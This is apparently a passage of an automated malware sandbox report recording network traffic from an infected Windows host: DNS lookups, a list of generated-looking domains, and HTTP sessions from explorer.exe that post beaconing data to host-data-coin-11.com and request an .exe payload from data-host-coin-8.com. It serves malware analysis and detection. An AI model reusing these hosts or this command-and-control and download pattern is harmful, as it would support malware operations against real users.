Dec 28, 2021 05:18:56.848927021 CET	192.168.2.3	8.8.8.8	0x3ab6	Standard query (0)	infinity-cheats.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:57.904176950 CET	192.168.2.3	8.8.8.8	0x9eb5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:58.119486094 CET	192.168.2.3	8.8.8.8	0xa47c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:58.383470058 CET	192.168.2.3	8.8.8.8	0xfdc2	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:00.655342102 CET	192.168.2.3	8.8.8.8	0x707b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:00.914998055 CET	192.168.2.3	8.8.8.8	0x8c5b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:01.146226883 CET	192.168.2.3	8.8.8.8	0xded3	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:01.347253084 CET	192.168.2.3	8.8.8.8	0xec55	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:02.232675076 CET	192.168.2.3	8.8.8.8	0x523d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:02.478763103 CET	192.168.2.3	8.8.8.8	0xa684	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:02.729489088 CET	192.168.2.3	8.8.8.8	0x4186	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:02.971997023 CET	192.168.2.3	8.8.8.8	0xa7d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:03.125703096 CET	192.168.2.3	8.8.8.8	0x180f	Standard query (0)	file-file-host4.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:03.189141989 CET	192.168.2.3	8.8.8.8	0x5671	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:04.956842899 CET	192.168.2.3	8.8.8.8	0xeee2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:05.164602041 CET	192.168.2.3	8.8.8.8	0xb227	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:05.383534908 CET	192.168.2.3	8.8.8.8	0x3771	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:28.001003981 CET	192.168.2.3	8.8.8.8	0x24b5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:28.310925961 CET	192.168.2.3	8.8.8.8	0x112d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:28.529864073 CET	192.168.2.3	8.8.8.8	0x3267	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:31.480361938 CET	192.168.2.3	8.8.8.8	0x5508	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:31.706500053 CET	192.168.2.3	8.8.8.8	0x4dd1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:31.920810938 CET	192.168.2.3	8.8.8.8	0xe571	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:32.179344893 CET	192.168.2.3	8.8.8.8	0xc149	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:32.383315086 CET	192.168.2.3	8.8.8.8	0x5c2d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:32.639059067 CET	192.168.2.3	8.8.8.8	0xf7fd	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:32.941024065 CET	192.168.2.3	8.8.8.8	0x594b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:33.145210028 CET	192.168.2.3	8.8.8.8	0x3619	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:33.396270990 CET	192.168.2.3	8.8.8.8	0x2b1e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:36.806981087 CET	192.168.2.3	8.8.8.8	0x6f9e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:37.024342060 CET	192.168.2.3	8.8.8.8	0xc692	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:37.255305052 CET	192.168.2.3	8.8.8.8	0x4137	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:37.491246939 CET	192.168.2.3	8.8.8.8	0xea73	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:37.723372936 CET	192.168.2.3	8.8.8.8	0x9b9a	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:40.592730999 CET	192.168.2.3	8.8.8.8	0x75bb	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:40.821198940 CET	192.168.2.3	8.8.8.8	0xa4e9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:41.037091017 CET	192.168.2.3	8.8.8.8	0xbf0f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:41.282838106 CET	192.168.2.3	8.8.8.8	0xb6b6	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:47.531496048 CET	192.168.2.3	8.8.8.8	0xf983	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:47.768246889 CET	192.168.2.3	8.8.8.8	0xec3c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:47.981024981 CET	192.168.2.3	8.8.8.8	0xa9f0	Standard query (0)	downloafilesaccess.ddns.net	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:51.106738091 CET	192.168.2.3	8.8.8.8	0x5f92	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:20:05.146503925 CET	192.168.2.3	8.8.8.8	0x53df	Standard query (0)	elew3le3lanle.freeddns.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Dec 28, 2021 05:18:39.325753927 CET	8.8.8.8	192.168.2.3	0x754f	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:39.898515940 CET	8.8.8.8	192.168.2.3	0xdfce	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.099479914 CET	8.8.8.8	192.168.2.3	0x4311	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.331254959 CET	8.8.8.8	192.168.2.3	0x4f6a	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.535259962 CET	8.8.8.8	192.168.2.3	0x7740	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.753724098 CET	8.8.8.8	192.168.2.3	0xc6ad	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.984651089 CET	8.8.8.8	192.168.2.3	0x77c4	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:42.401002884 CET	8.8.8.8	192.168.2.3	0x9be4	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:42.911936998 CET	8.8.8.8	192.168.2.3	0x2cac	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:43.441090107 CET	8.8.8.8	192.168.2.3	0x9353	No error (0)	data-host-coin-8.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:43.933008909 CET	8.8.8.8	192.168.2.3	0x5aa5	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:44.166074991 CET	8.8.8.8	192.168.2.3	0x3ded	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:51.326471090 CET	8.8.8.8	192.168.2.3	0x67ec	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:51.839946985 CET	8.8.8.8	192.168.2.3	0x31c7	No error (0)	privacytools-foryou-777.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.037528038 CET	8.8.8.8	192.168.2.3	0xe252	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.240456104 CET	8.8.8.8	192.168.2.3	0x8cf7	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.492506981 CET	8.8.8.8	192.168.2.3	0x4fe3	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.790839911 CET	8.8.8.8	192.168.2.3	0xf0cc	No error (0)	unicupload.top		54.38.220.85	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.879261017 CET	8.8.8.8	192.168.2.3	0xae28	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:55.102793932 CET	8.8.8.8	192.168.2.3	0x104f	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:55.580760002 CET	8.8.8.8	192.168.2.3	0xf4e4	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:57.860083103 CET	8.8.8.8	192.168.2.3	0x3ab6	Server failure (2)	infinity-cheats.com	none	none	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:57.922713041 CET	8.8.8.8	192.168.2.3	0x9eb5	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:58.138019085 CET	8.8.8.8	192.168.2.3	0xa47c	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:58.697845936 CET	8.8.8.8	192.168.2.3	0xfdc2	No error (0)	data-host-coin-8.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:58.877804995 CET	8.8.8.8	192.168.2.3	0x3ab6	Server failure (2)	infinity-cheats.com	none	none	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:00.674246073 CET	8.8.8.8	192.168.2.3	0x707b	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:00.934396982 CET	8.8.8.8	192.168.2.3	0x8c5b	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:01.162827969 CET	8.8.8.8	192.168.2.3	0xded3	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:01.365943909 CET	8.8.8.8	192.168.2.3	0xec55	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:02.249583960 CET	8.8.8.8	192.168.2.3	0x523d	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:02.497446060 CET	8.8.8.8	192.168.2.3	0xa684	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:02.748177052 CET	8.8.8.8	192.168.2.3	0x4186	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:02.990892887 CET	8.8.8.8	192.168.2.3	0xa7d	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:03.210685968 CET	8.8.8.8	192.168.2.3	0x5671	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:03.210685968 CET	8.8.8.8	192.168.2.3	0x5671	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:03.210685968 CET	8.8.8.8	192.168.2.3	0x5671	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:03.210685968 CET	8.8.8.8	192.168.2.3	0x5671	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:03.210685968 CET	8.8.8.8	192.168.2.3	0x5671	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:03.413042068 CET	8.8.8.8	192.168.2.3	0x180f	No error (0)	file-file-host4.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:04.975486040 CET	8.8.8.8	192.168.2.3	0xeee2	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:05.181310892 CET	8.8.8.8	192.168.2.3	0xb227	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:05.402218103 CET	8.8.8.8	192.168.2.3	0x3771	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:28.020386934 CET	8.8.8.8	192.168.2.3	0x24b5	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:28.327271938 CET	8.8.8.8	192.168.2.3	0x112d	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:28.843050003 CET	8.8.8.8	192.168.2.3	0x3267	No error (0)	data-host-coin-8.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:31.501394987 CET	8.8.8.8	192.168.2.3	0x5508	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:31.725389004 CET	8.8.8.8	192.168.2.3	0x4dd1	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:31.939925909 CET	8.8.8.8	192.168.2.3	0xe571	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:32.197608948 CET	8.8.8.8	192.168.2.3	0xc149	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:32.402122974 CET	8.8.8.8	192.168.2.3	0x5c2d	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:32.656451941 CET	8.8.8.8	192.168.2.3	0xf7fd	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:32.959716082 CET	8.8.8.8	192.168.2.3	0x594b	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:33.161716938 CET	8.8.8.8	192.168.2.3	0x3619	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:33.415293932 CET	8.8.8.8	192.168.2.3	0x2b1e	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:36.823970079 CET	8.8.8.8	192.168.2.3	0x6f9e	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:37.041131020 CET	8.8.8.8	192.168.2.3	0xc692	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:37.272277117 CET	8.8.8.8	192.168.2.3	0x4137	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:37.510828972 CET	8.8.8.8	192.168.2.3	0xea73	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:37.741883993 CET	8.8.8.8	192.168.2.3	0x9b9a	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:40.611608982 CET	8.8.8.8	192.168.2.3	0x75bb	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:40.839665890 CET	8.8.8.8	192.168.2.3	0xa4e9	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:41.055852890 CET	8.8.8.8	192.168.2.3	0xbf0f	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:41.302234888 CET	8.8.8.8	192.168.2.3	0xb6b6	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:41.302234888 CET	8.8.8.8	192.168.2.3	0xb6b6	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:41.302234888 CET	8.8.8.8	192.168.2.3	0xb6b6	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:41.302234888 CET	8.8.8.8	192.168.2.3	0xb6b6	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:41.302234888 CET	8.8.8.8	192.168.2.3	0xb6b6	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:47.550419092 CET	8.8.8.8	192.168.2.3	0xf983	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:47.784822941 CET	8.8.8.8	192.168.2.3	0xec3c	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:47.999622107 CET	8.8.8.8	192.168.2.3	0xa9f0	No error (0)	downloafilesaccess.ddns.net		155.248.231.246	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:51.123631954 CET	8.8.8.8	192.168.2.3	0x5f92	No error (0)	host-data-coin-11.com		5.188.89.48	A (IP address)	IN (0x0001)
Dec 28, 2021 05:20:05.316809893 CET	8.8.8.8	192.168.2.3	0x53df	No error (0)	elew3le3lanle.freeddns.org		178.238.8.177	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

transfer.sh

downloafilesaccess.ddns.net

ycifwuti.org

host-data-coin-11.com

vnfvs.com

rcrjju.com

qvavjfmo.com

poiftoddew.org

rvmcdus.net

wjfjbpqm.com

aybsb.com

hwrlndxid.net

data-host-coin-8.com

jteovwto.com

oqydrde.net

tkeghqsng.com

privacytools-foryou-777.com

gjygx.net

kfxca.org

ryipue.org

unicupload.top

vukwltcu.net

lnwhd.net

whpernmmb.com

rwwaasnsg.com

weeyh.com

jpkelrew.com

hlqcmdcx.net

lpxlc.org

imhlo.net

185.7.214.171:8080

eaidisso.com

yacyom.com

ebhyi.org

jtcndb.net

file-file-host4.com

vdbegiq.net

eoepn.com

jrhtrk.com

jwibqkk.net

xnipfqvpe.org

yifcjya.net

rxxfahr.org

vfpht.org

adqghmyhj.org

hujcrsouk.net

mketq.com

nlilrsybs.com

mpbvjio.net

yqtmbdjjxy.net

91.243.44.128

igwdjt.com

xmhrnshbsf.com

tmtvrgtd.org

mnjhltsqk.org

npiwsugx.com

xqkct.org

awejs.com

185.7.214.239

hxmnbo.org

jjctmvu.com

ikexxrgenj.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49798	162.159.134.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49841	144.76.136.153	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49750	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:41.052517891 CET	1176	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wjfjbpqm.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 232 Host: host-data-coin-11.com
Dec 28, 2021 05:18:41.170506954 CET	1177	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49752	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:42.474426985 CET	1178	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aybsb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 189 Host: host-data-coin-11.com
Dec 28, 2021 05:18:42.596767902 CET	1179	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49753	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:42.985894918 CET	1180	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hwrlndxid.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 265 Host: host-data-coin-11.com
Dec 28, 2021 05:18:43.104787111 CET	1180	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4b ef ae 8a 70 bc 57 dd 42 d6 f7 23 8c 21 e6 c3 93 50 2c e2 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9KpWB#!P,c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49754	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:43.505486012 CET	1182	OUT	GET /files/5376_1640094939_1074.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Dec 28, 2021 05:18:43.599575996 CET	1182	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:43 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Data Raw: 31 31 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 64 61 74 61 2d 68 6f 73 74 2d 63 6f 69 6e 2d 38 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 11a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at data-host-coin-8.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49755	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:44.003308058 CET	1183	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jteovwto.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 245 Host: host-data-coin-11.com
Dec 28, 2021 05:18:44.119926929 CET	1184	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:44 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49756	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
